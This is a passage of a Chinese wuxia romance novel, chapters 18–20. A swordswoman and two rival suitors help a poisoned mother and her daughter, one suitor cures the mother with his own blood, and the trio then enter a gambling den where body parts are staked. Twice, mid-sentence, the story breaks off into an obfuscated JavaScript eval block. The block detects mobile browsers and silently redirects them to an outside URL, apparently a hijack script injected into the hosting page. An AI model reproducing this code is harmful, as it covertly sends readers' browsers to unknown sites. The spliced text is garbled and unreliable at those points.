周小怜轻轻放下臂弯中的虞雪海,恨不得现在就抄起铜凤劈了乌兆星这个没同理心的魔头!这都什么时候了?不会说话就闭嘴滚出去行不行? “够了!总有办法的!”小怜吼道。 这里不行,就把她们带回洗雪山庄!事已至此,小怜把这对苦命的母女看在眼中,总不能撒手不管。况且能在韦郡下这种毒,说不准又与烧香天有关系……蚍蜉难以撼树,回洗雪山庄去,就能从长计议。 她怒气汹汹,正要抄起铜凤杀过去时,却听到燕紫芳平静道—— “无妨。其他人救不了,但我可以救。” 18. 哺血 乌兆星抱臂,看着倾身过去把雪芽从地上捞起的燕紫芳,不禁挑了挑眉:“你?嗯……若是琪树九关出身的,姑且还有可能。不过琪树九关的弟子常年在长鱼谷中不出,你——” 听乌兆星话语中提到琪树九关……小怜眉头一蹙:燕紫芳刀法行动莫测,而且来历不明,的确像琪树九关那些医疯子出身。 长鱼谷中的琪树九关,是江湖中怪医、毒医、侠医频出的神秘之所。这些年以来,关于琪树九关的种种流言蜚语,只有一句话最为天南海北的人熟知: “世间唯有出琪树九关的人,绝没有进琪树九关的人。” 只不过距离上一次琪树九关中人入世,也已经过了八十年之久。 那时江湖上有一名独眼女医,救天下人,不取分文金。她本是个傻善人,却因为在宝光郡的前身越郡,救了一个没钱的男人,被那男人以为她要收取救治的费用,便不由分说地被砍断了一只手。 可独眼女医既然出身琪树九关,又怎么会是毫无功夫的人?她只剩一只手,也能用一片刀,风风光光地杀了半城男人。她是最后一个从琪树九关里出来的人,雁过无痕,在犯下桩桩血案之后,她纵身跃入长河,从此杳无音信。 琪树九关,再无人出。江湖人后来给她起了个诨名,叫“瞎眼蛟”。 “我不是琪树九关出身,”燕紫芳坐在小怜身边,他望进少女眼中,良久又垂眸轻叹,“与琪树九关无关;与你,也无关。” 小怜旋即寒声道:“乌兆星,出去。” 她恨恨看向一人独立在堂中的黑衣少年,脸上是前所未有的抗拒和愤怒,如此顽固的情绪,像冬天日月江上的坚冰。 乌兆星后知后觉自己碰触到了小怜的逆鳞,他的身体被一个眼神冻住了。他从来没见过这样的姐姐。自今日重逢以来,两人已不合数次,乌兆星有些茫然,也不知对现在的小怜,到底要如何是好。 他忍不住为自己争辩:“我不是那个意思,姐姐,我……” 小怜只斩钉截铁地讲:“出去。” “……好。”纵使再如何不甘,乌兆星还是暂且顺着小怜的意思,他其实不想惹她难过伤心,每次都极尽讨好。可说出去的话覆水难收,乌兆星离开前,轻之又轻地抛下一句,“我不是故意的。” 到底不是同路人。 小怜知道他的出身,他的经历,不堪和跌宕起伏;可她也知道乌兆星杀人不眨眼,两只手染过的血,就算是放干洗雪山庄一半人的血都不能相提并论。 江湖正道出身,并非盲目的善良。她可怜过他,但不对他心怀怜悯,况且所谓的可怜,哪怕只是嘴上说说,都是一种对无辜死者的亵渎。如今两人能和谐的对坐谈讲,已是偷来的安宁。 燕紫芳余光敛下一切事态发生,无动于衷。见乌兆星离开,他从腰间抽出一把银制匕首,又点燃梳妆台上的灯烛,细细烤起刃身。 小怜抱着还在惊惶的虞雪芽,她从未做过姐姐或母亲,可小芽儿的懵懂让她无师自通。她一点点拍顺雪芽喘不出的胀气,哄道:“别紧张,实在不行,我带你回我家……有办法的,总有办法的,世上没有没办法的事情。你要相信我。” 雪芽就像她的母亲一样窝在小怜怀里,小怜的颈窝有些湿了,乌兆星真吓到她了……还是自己和燕紫芳吓到她了呢?小怜不语,只用拇指为她揩去那些断线珠子。 燕紫芳将匕首烤好,冷了片刻后,面不改色地在左手手腕,划开一道极深的口子。鲜血汩汩,小怜眼前一花。 而燕紫芳只是将虞雪海嘴唇拨开,手腕翻过一些,让血顺着手腕流下,滴入她口中。 那股熟悉的冷香此刻过分浓郁,几乎能将身旁的小怜吞下。周小怜目不转睛的盯着燕紫芳手腕上的血,纤纤如丝流,她像是着魔一样,幻想着水残留在她舌尖的触感。 这很不正常,小怜心知肚明,她竟然对燕紫芳的血感到口干舌燥——他难道什么时候给自己下药了? 两人连日来接触甚少,这样的念头也只在小怜的脑海中一闪而过。 周小怜死死掐住自己的手臂,撇开视线,不愿再投以更多注意。另一边,燕紫芳放血良久,却全然不见他身体有任何不适之处。 燕紫芳岿然不动,血的流速渐渐慢了下来。他驾轻就熟又从腰间翻出一卷白布,为自己包好伤处,道:“如此不再用药,日后便无碍了。” 虞雪芽和周小怜面面相觑:无人能解开的菡萏香,喝他两口血就能治好吗? 小芽儿望着他,忽道:“这真的有用吗?我娘亲她……” 燕紫芳两指按在虞雪海右手手腕上,似是在把脉,而后连点虞雪海肩上、胸膛、额头、掌心几处穴位。待一切结束,他终于朝两女点点头,道:“我不是琪树九关的人,但也另有出身,只是不便现在就告知你们。至于血有用无用,半刻后便可得知。 “若无大碍,她约能清醒半炷香的时间。” “只不过毕竟她菡萏香服用已久,黄粱梦尽后,仍会归于疯痴。她的疯,的确与菡萏香关系不大,”燕紫芳娓娓道来,“但菡萏香加重了她糊涂失魂的症状。” 虞雪芽听闻虞雪海还能有片刻清醒,忙爬到她身边翘首以盼,紧张道:“那、那疯病还有治好的可能吗?” “有,很难。”燕紫芳讲完,与小怜对视一眼,又道:“我先出去。” 小怜起身,站到他身旁:“我与你一起。” 燕紫芳虽有困惑,但没有当场提出。虞雪芽埋首于她母亲腹部,又流着泪捧着她母亲的手掌,贴在自己的脸上,女孩羞愧道:“娘亲,娘亲……你睁眼看看我……” 燕周两人并肩离开,小院里寂静依旧,只有一地碎瓦。乌兆星不见踪影,小怜想到他方才在屋中所说,长叹一口气。她方才的症状已淡去,此时就算燕紫芳在她身边,她也不会扑上去吸对方的血。 小怜随处寻了个石凳坐下,燕紫芳也跟着坐到她身旁。 屋内的絮絮声听不清楚,小怜望天发呆,却听燕紫芳道:“你不问吗?” 小怜唏嘘道:“镜花水月难得,母女团圆重要。” 燕紫芳换了个话题,继续道:“你很不喜欢刚刚那个人那么说,也不喜欢他亲你。” 心底那些乱七八糟的感情被燕紫芳直白的戳了出来,这次小怜却没有打他。 她语气轻佻,借此良辰,对燕紫芳果断抛钩:“看那么仔细,那你喜欢我吗?” 燕紫芳被这突如其来的问题哽了一下。 喜欢,还是不喜欢? 对于他来说,关于周小怜的任何问题都很难回答。两人之间的恩怨情仇,早已并非这两个字可以概括的了。若一定要具象化这份感情,便唯有他曾经与周珊瑚说:“我可以把心拿出来给她。” 然而小怜从小到大,对此一无所知。 燕紫芳顺从本心,坦然咬住小怜的鱼钩。他正要向她剖心自证,缓缓道:“我对你的感情并不是那么简单的东西——” “哦,这样,就这么恨啊。”小怜的状态有些像喝醉了,但她绝没有饮酒,甚至没有喝水。 她打断了燕紫芳的话,把燕紫芳的感情全误解了。不是喜欢,那基于欠命之上的复杂感情,就唯有恨意难消了。 周小怜哂笑一声,用指头搓搓自己的衣袖,戏弄之意荡然无存。她无措道:“也好吧,大家都恨我,我倒是很喜欢大家的脸。唯一一个应该不太恨我的可能是阿星,但我们俩正邪不两立,这辈子也不可能好。” 小怜的手指绕了青丝,缠了情丝。她讲:“阿星的真心很好,也很不好。我不能要,可看到总是有动一点喜欢的。头疼啊,真是头疼。” 燕紫芳沉默了。 周小怜是真的喜欢乌兆星吗?燕紫芳很不满他先说的话被一个什么都不知道却又身在局中的人打断。险些宣之于口,不能再克制的心意,就这样又一点点,被那个人活活捏成齑粉。 先前乌兆星吻上她脸颊的那一刻,他是真的想要杀了乌兆星。与魔头殊死一搏,未必不可……可凭什么? 燕紫芳看到小怜为乌兆星失意,有些失控,他哑声道:“我知道你有四个人。” 小怜没想过他竟然会如此详细的知道这件事情,甚至在这个时候提及。她诧异道:“啊,之前你也说过,不过那四个人……哦,方才阿星告诉你的?” “嗯,对。” 不是的,我早就知道关于你的一切。 燕紫芳暗暗地,在心底说。 在鹭点烟汀的书楼里,被关起来暗无天日的六年里,燕紫芳失去了对时间的认知,他只能依靠毒婆婆和猫婆婆时不时寄来的书信,从小怜的成长中感知到四季流逝。 那一封封信上写着小怜的故事:断骨、练剑、登猎月台、穿了新衣……日复一日,年复一年,信中的小怜长大了。燕紫芳抄书、抄经、抄天下万宗心法,也长大了,他一点点从信中拼凑出一个完全不记得他,但活得恣意潇洒的周小怜。 他曾以为两人真的会此生不复相见,可偏偏出了书楼还没多久,周珊瑚求到了鹭点烟汀。他要出去了,回到洗雪山庄,但代价是他不能再以“怀芳”的身份出现在小怜的面前,他只能当回燕紫芳,再重新认识周小怜。 认识……已经忘记他,还决定要忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362293|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死去的“怀芳”的周小怜。 凭什么? 他私心是一分一毫,都不想周小怜忘记,他得把周小怜忘记的东西一点点,找回来。 不能有狐狸忘记自己惹过的腥臊,埋在冬土下的粮食,周小怜也不行。 燕紫芳思及此处,那颗心越发躁动。他冲动道:“再多一个,就不可以吗?” “什么?” “你和那四个人都可以,什么身份你都不管。皇子、少爷、正道、邪道,再多一个仇人当入幕之宾,就不可以吗?” 周小怜没想到燕紫芳真会提出如此具有建设性的意见,她不由自主地僵住了。 她脑内一瞬间天人交战,一片混乱,狐狸被迫偷了一嘴腥。乌兆星一事未平,燕紫芳一事又起。真是谁也不肯轻易放过红颜祸水的她。 这怎么可以啊? 他们是仇人啊?欠了命的,要办事的仇人! 不是办这个事情吧? 燕紫芳抓住她手腕,认真的把小怜的手放在自己的脸颊上,眼睛紧紧的盯着她:“至少皮囊上,我没有输给他们任何人的。” “再多一个,就真的不行吗?” 小怜下意识摊开手摸了摸他的脸,燕紫芳靠得太近,她的确又心痒了,这是防不住的,都说了人不为色天诛地灭了。周小怜奉行此快活道。 从洗雪山庄到韦郡素了太久,方才还陷在伤怀中的小怜,这会儿被动的喃着:“不可以啊,仇人是不可以变成妻子的……” 燕紫芳见她有些招架不住,又想起乌兆星那副主动的模样,果断乘胜追击,脸与周小怜贴得越发靠近。 他执着的看着少女的眼睛,直到春风刮过云霞,月亮飞上树梢。 周小怜的表情在夜色中晦暗不清,眼睛频频眨了一下又一下,倒是看得很清楚。 燕紫芳依依不饶道:“我帮了你在意的她们,比你的弟弟厉害,也比他更善良。我可以叫你小怜吗?” 小怜一怔:“嗯……这个可以。” “那你有想过之后怎么叫我吗?” “小、小芳?”周小怜有些窘迫,这样暧昧的氛围里,燕紫芳居然想问她这种问题吗?这是不是太纯粹朴实一点了呢? 周小怜抿抿嘴唇,又补充道,“还是紫芳?燕紫芳?燕少侠?” 燕紫芳松开捉住小怜的手,距离却丝毫没有改变。他动作很温和,并没有强烈进攻的意味,所以小怜也没有抗拒或逃走。只是像毛绒绒的小动物一样,贴了过来。 虽然按燕紫芳的身量来说,其实是毛绒绒的庞然巨物?周小怜觉得自己其实是被一只猫掌拍住了手腕……嗯,不那么小的猫。可能是黑豹?周小怜有些走神了。 “就叫我紫芳吧,”燕紫芳点了点她的手指,轻快道,“你这样叫我,我心里就会很开心了。不要叫阿星,也不要想他了,你叫我的名字吧。” 小怜前面短了他气势,这会儿就想挣回来,她咬咬嘴唇,爽快道:“紫芳。” “嗯,我在这里。“他轻轻捏了捏小怜的手指,像是在玩一样。 “……哎呀,这可不是对仇人之女的态度啊,你当初是不是故意在墙下蹲守我的?” 小怜指尖敲敲点点一旁的石桌桌面,懊恼道: “我真搞不懂了,你,认真点告诉我,你到底想要的是什么?” 小怜对此非自然情形实在心有困惑,实在忍不住嘟嘟囔囔:“你真的想找到我父亲吗?” 燕紫芳见她为自己突然的转变,稀里糊涂摸不着头脑的样子,心中不禁舒畅起来,就像是出了口淤积已久的恶气。 小小的报复,笨笨的小怜。 这样很好,她忘记自己,那自己就要在她身上报复回来,看狐狸为了捉尾巴,在原地转圈绕着跑。 他幼稚的笑道:“嗯,之前说过了,我只要找到杭红真。虽然说他欠我的命,但债、祸不及子代,我也并非肉身菩萨,断情绝欲。” “至于洗雪山庄墙下,的确是意外。” 燕紫芳向后坐稳,感情要徐徐图之,小怜今日对他防备减少,已经足够。 他其实很想亲小怜,但那样就太像登徒子了。有乌兆星轻薄在前,燕紫芳要另辟蹊径。他绝不想重蹈四个人中任何一个人的覆辙…… 于是他难得与小怜讲了个冷笑话,投之以木桃:“你可以当我被狐狸精美色所困。” 小怜手掌合十,因为燕紫芳这想一出是一出的话,她心里不再那么迷惘,可以对此冷笑话报之以琼瑶,故作高深道: “糍粑豆腐红枣汤。我狐不渡来历不明,但香喷喷的燕紫芳燕少侠。” 19. 新芽为树 就在两人东一句西一句时,头顶上又传来乌兆星闷闷不乐的声音:“喂,你们干嘛呢?” 他不知是什么时候回来的,但应该就在刚刚,毕竟要是让乌兆星看见了燕紫芳和小怜亲昵的模样,大概会怒急攻心,直接一掌抓来。 周小怜嘴快,没好气道:“给小芽儿她娘祈福呢。愿她早点好起来,帮我开……解开点迷津。” 乌兆星干巴巴“哦”了一声,又太过自然地指挥道:“你们坐太近了,那个谁,走开点,坐远一点。” “谁允许了!”他这样登堂入室,小怜愠怒未消,偏一手拉住燕紫芳胳膊,将他往自己这儿拽了拽,“这是我姘头,为什么要和我坐远点?” “你刚刚在城里还说不是!” 小怜一拍桌子,急得站起来:“此一时彼一时,我变心很快,你又不是不知道!况且你更没什么资格管我,多谢你还我的剑,我们恩怨两消了!” 乌兆星忙从屋顶上跳下来,他想冲过去抱住小怜,可小怜绝不可能再给他这样的机会。他既然下来了,周小怜便轻松踏上屋瓦。燕紫芳不知怎么想的,竟在此时擦起三百两来…… 玉玦射出一轮月牙幽光,惹来乌兆星视线。他两腮紧绷,只扫一眼那柄三百两,就冷笑道:“非衣会的畜生,也敢在这儿出头了?” 燕紫芳才与小怜私会偷闲,此时心情大好,不在乎少年人这点挑衅。他语气不咸不淡,一面擦刀,一面温声道:“我与非衣会干系不大,随你怎么说。” 好一招任尔东南西北风……小怜看着院中两男登台唱戏,不禁翘起一条腿,悠哉探看。 “干系不大?非衣会的玉珏都挂在刀上,还说你对我姐姐没有私心!”乌兆星拾起一枚碎瓦,毫无预兆地掷往燕紫芳的方向,“我今日就撕下你的脸皮,让姐姐看看你这走狗的真模样!” 少年面孔狠厉非常。他五指弯作鹰爪,将身体藏于第一片飞去的碎瓦之后,提手袭来,动作好似苍鹰擒蛇。 燕紫芳若此时持刀击瓦,便难挡住乌兆星紧随其后的这一击。 可他若不将瓦片打碎,那就会有一只眼睛,被瓦片活生生地戳瞎! 但就当瓦与少年近在咫尺,看似肝胆俱裂的险境迫在眉睫时,燕紫芳也没有任何起身的动作。他——仍在擦刀,用一块丝绸手帕,细致,反复,来回擦拭。即便刀身已澄亮如匹练,他也没有停下手…… 或者说,根本不必他动第一刀,或第二刀。 铜凤脱手一击,软剑声清越! 匆匆一眼,可窥剑上照霜纳月。洗雪剑第一式藏雪,很基础,十七岁的小怜用的得心应手。 剑锋没入土中,钉在少年身前方寸,挡住了他的动作。瓦应声而碎,剑没有碰到瓦,是其周身卷起的罡风,将瓦片撞碎。 燕紫芳不用动,因为小怜自会为他出手。 小怜背着水色白月,对乌兆星失望道:“我不想在这里看见你杀人。” “那我不要与你两清!”乌兆星看着仍在颤抖不止的铜凤,心知自己再进一寸,刚刚真的会被小怜刺伤。 她怎么可以在这么短短的半日中,心就毫无预警的偏向了那个男人?周小怜为了燕紫芳,要杀了他……可明明是他先来的! 他与小怜最情深义重,他才是最真心的!乌兆星与甘霖、与褚见珏阮真棋、与全天下其它的男人都不一样! 乌兆星失魂落魄道:“你丢了我一次,骗了我两次,我帮你把剑找回来,可你现在还要杀我!这算什么两清?我不服……我不服!” 周小怜施施然从屋顶落回地上,缥缈若神妃仙子,她定定道:“歌玉山的那两个月,我救了你不止一次。我们生死相依,无数次。” 乌兆星心头和鼻尖一道发酸。周小怜提到歌玉山,他还是有些想哭,眼泪欲落未落:“那你不要我报恩了吗?你不要我了吗?你不能丢下我,姐姐,第三次了。” “歌玉山你诈死,洗雪山庄你利用我,现在是第三次。我不懂,你怎么可以把我捡回去了,又要把我丢掉?” 周小怜听他哭诉指控,咬咬牙,狠狠心,又道:“可若我那时候就知道你是乌兆星的话,我绝不会向你伸手。这件事从一开始就是错的!” “难道我就真的这么该死?”乌兆星像一条毒蛇,他体温冰冷,齿中有毒,可十分贪恋捡到他的农夫身上的一点暖和,“姐姐,求你了,我们好好讲吧?那些事情我可以解释,我……我做得不对的地方,我也愿意改……” 可捡到蛇的周小怜,已经不愿再与蛇同舞了。纵然她心中对蛇有几分牵肠挂肚,并非全无感情,可一切都没有她的命重要。 她不敢赌这条毒蛇会不会过了冬天,就咬住她的脖颈。 所以最后,她只能叹息道:“我不想我们两人日后斗得你死我活。” 乌兆星攥紧自己衣袖,他明白小怜的意思。正邪、阴阳、水火,皆不相容,他们两人正如此般。 歌玉山奇遇只是昙花一现,世上不会再有认不出乌兆星的周小怜了。 即便如此,他还是固执道:“我不要谈日后,我就要今朝!” 小怜眼见无法将他赶走,只好上前拔出铜凤。今朝如果想要杀他,理由有很多,可那些都不是小怜的理由。 如果要扬名立万,做个善人,那为雪芽杀人已经足够;如果要快意江湖,她也并不是一个崇尚杀伐的狂人;如果要报仇……只有乌兆星向她报仇的份。 于是事已至此,她也不知道该拿乌兆星如何是好了。 燕紫芳坐在一旁,身为局中人,他好似看穿小怜心中所想,缓缓道:“若不能取舍,不做取舍就是。这里是韦郡的城郊,不是什么江湖。” 乌兆星头也不转,恨声道:“要你说了?就是因为你,我与姐姐才有嫌隙!我就该杀……” 燕紫芳屈指弹刀,刀身极清脆的“叮”了一声。 “我没在和你说话。而且,刚才你就想杀我了,”燕紫芳瞥了乌兆星一眼,眼神极其轻蔑,实为无声的嘲讽,“可是你没杀成,我现在依然完好无缺的坐在这里,这是为什么呢?” 自从小怜昨日扇过他一掌,燕紫芳就一直寡言少语的。可遇上乌兆星三番几次的挑衅,他还是那个燕紫芳。 小怜听到他游刃有余的回击:“不过还是要多谢你送回她的剑,若非如此,我说不定真有可能死在你的爪下。” ……好精彩,好激烈,男人的戏就是好看。 小怜擦擦额角上的汗珠,燕紫芳哼着小曲又开始擦刀。 乌兆星勃然大怒,乌兆星无话可说。 现在若要与燕紫芳大吵一架,必定会再掀风波。乌兆星已经不想和小怜吵架了,他宁愿受点口头委屈,短燕紫芳一节气势,也不想看见小怜抗拒的表情。 就在小怜无语之时,红着眼眶的小芽儿,从屋内走了出来。 她跌跌撞撞扑进小怜怀中,小怜还没说什么,腰间已经湿了一片。小芽儿涕泪横流,周小怜只俯身弯腰,将她紧紧抱住。 从前她断骨之痛,母亲没有抱过她,周小怜两行珠泪空流,无人为她接泪。今日小芽儿为虞雪海流下的眼泪,她珍之重之。 “我娘她和我说了好多,好多,我想叫你进来……可我真的、真的舍不得,对不起!”小芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362294|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿为自己的贪欲嚎啕,可见到清醒的虞雪海,她真的不想分出半寸时光,“我太久没有见过我娘了……” 清醒后的虞雪海像是知道自己不过是黄粱一梦,自睁开眼后,就一直恋恋不舍地抚过虞雪芽的脸、额头、手。 她温声说:“我想把我的小芽儿带到梦里去,这样……我不会太害怕。我一直在做一个很好的梦,梦里的小芽儿呀,是个哭鼻子的小包子。” “她一直哭,一直哭。我问她:‘你为什么要哭呢?’小芽儿说:‘因为我活得太幸福,太快乐!’哦……是喜极而泣呀。好啦,其实你不是小芽儿,是一只小花猫。” 虞雪海说话不着调,一直是这样。她其实很活泼,从前芜兰坊中,虞雪海是最小,也是最顽皮的孩子。 芜兰坊人都叫她小猴儿,虞雪海也喜欢当小猴儿。 可后来小猴儿嫁了人,一夜之间,就成了施夫人,施娘子。不好听,一点都不好听,嫁女从夫……两头牛,一袋面,她从了一头姓施的猪。 黄泉有牛头马面,城郊有猪佬施。酗酒、好赌、横肉如山。猪佬施买了小猴儿,从此世上再没有虞雪海——直到她抡起锤子,砸碎了猪佬施的脑袋。 一只小猴儿,身上的枷锁,也被她一锤子砸碎。 她们又得以在天地旷野间撒野狂欢。 虞雪芽撇撇嘴,比起喜悦,她此刻更近乎崩溃。 女孩一遍遍喊虞雪海的名字,告诉她章婶有多挂念她,章阿成长得多高了。母女两人曾经一起种下的树已经长苗。 虞雪芽说:“我会照顾你了,阿娘,我可以照顾你了……” 虞雪海只是用额头抵着她的额头。菡萏香已解,她身上流脓腐烂红肿兼有,可只要见到小芽儿的眼泪,虞雪海最痛的永远是那颗心。 “我倒是希望你,别照顾我,”她苦笑着摇了摇头,“最好啊,离开韦郡,去外面。这儿没有什么值得你牵挂的。” “芽儿,小芽儿。我啊,从前就想你能长成一棵树。 “但我并不需要你的枝叶为我遮蔽阴雨,小芽儿,我有一颗心,还有一双手,一双脚。我会奔跑,唱歌……哪怕我疯了,可我还活着。抛下我吧,你不该是我一个人的小芽儿。” “我自有我的活法,而你,你要为自己,永远为自己活着。” 虞雪芽拉住周小怜的手,懊恼道:“对不起,真的对不起你,周姐姐!我知道你有事,有顶紧要的事情,你、你之后无论你说什么,我都愿意豁出命帮你!” 小怜长长叹了口气:“你啊,活着就好了,不要豁出命。你娘她……睡下了吗?” “嗯……”虞雪芽抽泣几声,收了泪水道:“对了,周姐姐。其它的,我帮不上你……但我问了我娘一件事情。” “嗯?” “蔺松——不是我娘认识的人。” 虞雪芽苦笑道:“但是我娘知道他是从哪里来的。” “周姐姐,我娘也听到了你们的声音。她知道是你们救了她,娘很感激你们。所以……关于报仇的事情,娘希望你们绝不要参与到其中。” “她说这件事情,关系错综复杂,不该……把你们牵扯其中。” 周小怜看着小芽儿,起初,她什么也没说,只是伸手捧住她的脸。 她们两人对视良久,小怜才道:“那你呢?” “别的仇,或许还能搁置。但蔺松的人头,你要吗?” 虞雪芽咬咬牙,猛点头道:“我要!” “我……不能放下,我不如娘心善。我不要原宥,我绝不要!” “他害了我娘,他就要偿命!” 20. 鱼龙见佛(1) 韦郡郡东琼鱼坊,雕栏玉砌,红粉铺地,不输京畿宫阙紫庭。玛瑙、珍珠、翡翠、珠帘玉幕,走进拱门,穿过缭绕云雾,便能看见琼鱼坊的真面目。 牌九、骰戏、簸钱、双陆、投壶…… 和萦绕不散,缠绵难分的,五石散的味道。 这里的桌上和客栈、酒馆的桌上不一样,有人放象牙筹码,有人放一截断指,放上去的东西无论再怎样诡异,琼鱼坊都照单全收。他们讲:“”各人有各人的机缘和底牌,这些东西,也都值不一样的筹码。” 所以只要有一条命,就可以在琼鱼坊赌。 一夜,一念之间,大穷大富,大起大落…… 周小怜穿过游廊,她今夜不为了金银而来。 昨日风宵中,虞雪芽告诉她:“我娘说,会来找她,想要害她的人,只会是琼鱼坊的人。其它再多的,她也不知道了。” “只有琼鱼坊的人要害你娘?” “是,我娘她……好像早就知道会这样,我也说不清楚,”小芽儿揪着自己的衣角蹭了蹭手心,“她希望我能离开韦郡。” 然而琼鱼坊与烧香天不过是一个在明,一个在暗的区别。心血相连,所谓琼鱼坊要杀她,也就相当于烧香天要杀她。 难怪虞雪海不想要她们继续追查,也不想要小芽儿留在韦郡……她被丈夫磋磨多年,可并非全然不知隐情。 若是因为辛家,那蔡钱儿更关系密切,更该杀,烧香天容他在芜兰坊苟延残喘。为何偏偏要用菡萏香折磨虞雪海,让她做神志不清的活尸?只怕活尸另有用处。 小怜与燕紫芳对视一眼,如今事态棘手,牵扯甚广,若要去寻仇调查,只怕她一人进去容易出来难。她真诚道:“你能帮我吗?此事与辛家有关,说不定会有——” 燕紫芳不等她说完,果断道:“我帮你。” “……多谢,我努力不让你死,也不让你出手。” 乌兆星却又不满,他掰过小怜肩膀道:“若要去下九流的地方,为何姐姐不问我?我也愿意为你赴汤蹈火!” 人多也好。只靠燕紫芳一人,小怜心中也有忌惮,她道:“好,也多谢你。” 待一切敲定,已经是深夜时分,小怜三人也顺理成章在虞家留宿一夜。三女同住主屋,燕紫芳和乌兆星两人各自占据灶台和柴房。 临近次日夕阳西下时,小怜一行人才缓缓随人流入城。他们在城郊的镇上买了几件剪裁好的成衣,又换了身打扮,低调行走于人潮之中,往琼鱼坊去。 琼鱼坊占地极为宽广,在韦郡内,像是如心室般的重地,有一种吸尽韦郡全城的骨血,方能造出的臃肿感。 较之寻常赌坊,琼鱼坊更像是一处风雅景致,皇家花园。曲水流觞,对酒纵歌者不胜其数,小怜三人穿梭其中,再回首时,身后视线已被从高处铺下的各色彩绢遮住。 燕紫芳压了压帽檐,跟在小怜身旁:“赌坊讲风水排局,入门处隐隐于锦罗后,烛火灯光下,五彩纷呈,有吉祥之意。” “人在狂欢中本就神志不清醒,挡住了门,还有什么办法离开呢?” 只进不出的布局,周小怜看得多了,京畿几处赌家大多也是如此。可这处琼鱼坊,她只觉得自己像是在什么戏班子里,身边什么人都有。 衣着褴褛的人,衣着华美的人……每个人都盯着她的脸,把她看得毛骨悚然。 强行忽略掉那些炽热的视线,周小怜对这样的销魂窟,不禁想起在醉仙楼露台上的褚见珏。 她环顾四周,好一会儿才在声色犬马中选定一块赌桌。 这片桌上,玩的是最简单的,猜骰子大小的游戏。 坐庄的是个与小怜年纪看上去大差不差的紫衣少女……甚至就连样貌,也与小怜有几分相似。只不过她眼睛比小怜的杏眼更圆,敛眸时像小狗,不像狐狸。 她正在开盅,三枚骰子,三四五,十二点,大赢。她将押小的象牙筹码扫入怀中,又望向其中一名闲家,客气道: “你方才赌过了你的妻女,这一把,又赌掉了你的手掌。徐少爷,你还要赌么?” 徐少爷看着少女,全然没有输了家产的不安,反而是一种极其诡异,积极的激动。他的眼睛已然充血,眼白都变成粉红色,不知有几个日夜没有睡好了。 他赌着了魔,赌钱、赢钱、输钱,琼鱼坊像一个漩涡——由这里在桌上的每一个人组成。他们是一个又一个自甘堕落的小漩涡。 “我下一把,下一把一定能赢回来……琏、小琏姑娘等等我,张姑娘,你等等我……” “哈哈,哈哈哈……!!” 他踉踉跄跄的跑开,却不是往离开的方向跑,是往换筹码的地方跑。 他已经疯了。 输得越多,那只要再赌一次,就一定能赚回来更多。 所以输就是赢……只要中一次,就是赢。 庄家没急着收取自己的报酬,她没有一直望着跑开的徐少爷,似乎对此情形见怪不怪了,缓缓道:“桌上可还有闲家要下注?” 新的一局要开始了,众人争先抢后,将筹码抛到大小两岸上。 简单穿着青衣的小怜在一片混乱的琼鱼坊中,显得过分乖巧,格格不入。她不知是什么时候挤进去的,可能是徐公子那会儿。 庄家暗自打量相仿的少女,周小怜的头发今日完全簪住了,梳成一股侧辫,垂在玉藕般的脖颈旁边。 她正低头,专心致志的看着桌上的筹码:牙齿、指甲、眼球、断指,金、银、铜叶,象牙筹码——应有尽有。 庄家见她明明都跻身到桌前了,却迟迟没有下注,忍不住开口道:“这位闲家姑娘,可是要下注?” 小怜抬头,她眨眨眼,像照镜子一样,朝庄家露齿一笑:“啊,你在问我啊!当然了。” 她说着,将背上的刀取了下来,放在案台上。 “这个可以当筹码吗?” 玉玦碰到了坊中发的象牙筹码,发出一声珠玉撞的轻响。庄家不必再扫一眼,便是听声音,都能分出玉玦的品质极佳,比桌上的所有筹码都要值钱。 她说:“当然可以,琼鱼坊来者不拒。姑娘想要押大,还是押小呢?” 小怜道:“我不懂规矩,此地的豹子是庄家通吃吗?” “若为顺子,分文不收。若为豹子,庄家通吃。” “既如此,我压大吧。”小怜轻轻将刀压在大上,避开那几根指头。 庄家见不知名的周二小姐将刀放在大上,唇角浮出一个惊心动魄的笑——几乎是与小怜笑起来时的嘴角眉梢像一个模子里刻出来的笑。 下三白,面目并不和善。少女的牙齿雪白,像一粒粒珠贝,她绝没有碰过五石散,这就是小怜直接找上她的原因。 其它的庄家,或多或少从指甲和牙齿观察,都不太干净整齐。唯有这一处的少女,肌肤有玉泽,甚至摇骰盅的手法也不大熟练,琼鱼坊缺她这样一个美人吗? 若是真庄家的人,想必绝不会用五石散为系带。 为利益捆在同一条船上的蚂蚱,才会不离不弃。 木骰盅被她捉在掌中简单摇晃几下,又狠狠一把拍在桌上。发出的响动虽然很快就被淹没在人声之中,在小怜耳中却分外刺耳。 有一股真气顺着她动作悄然无息地荡开,小怜讶异于她出千居然出的这样光明正大,还有这股真气……也很是熟悉,她见识过。 周小怜的手放在赌桌上,眼睛跟着她的手,骰盅揭开了。 围在桌边的所有赌徒,全都同频的呼吸一滞,提心吊胆,手脚出汗。 在开盅的时候,氛围总是极其紧张。 只有他们三人与庄家,不受任何影响。 五五五。 豹子。 庄家通吃。 所有人的气焰都灭了。 还是只有他们三人,明明输了刀,却宛若置身事外的平静。 “看来是……” 庄家正欲开口,就听到有人大喊:“不对!好像有一颗还没停下!” 只见三枚骰子中有一点,以极快的速度又重新原地转了起来,颤抖不止。 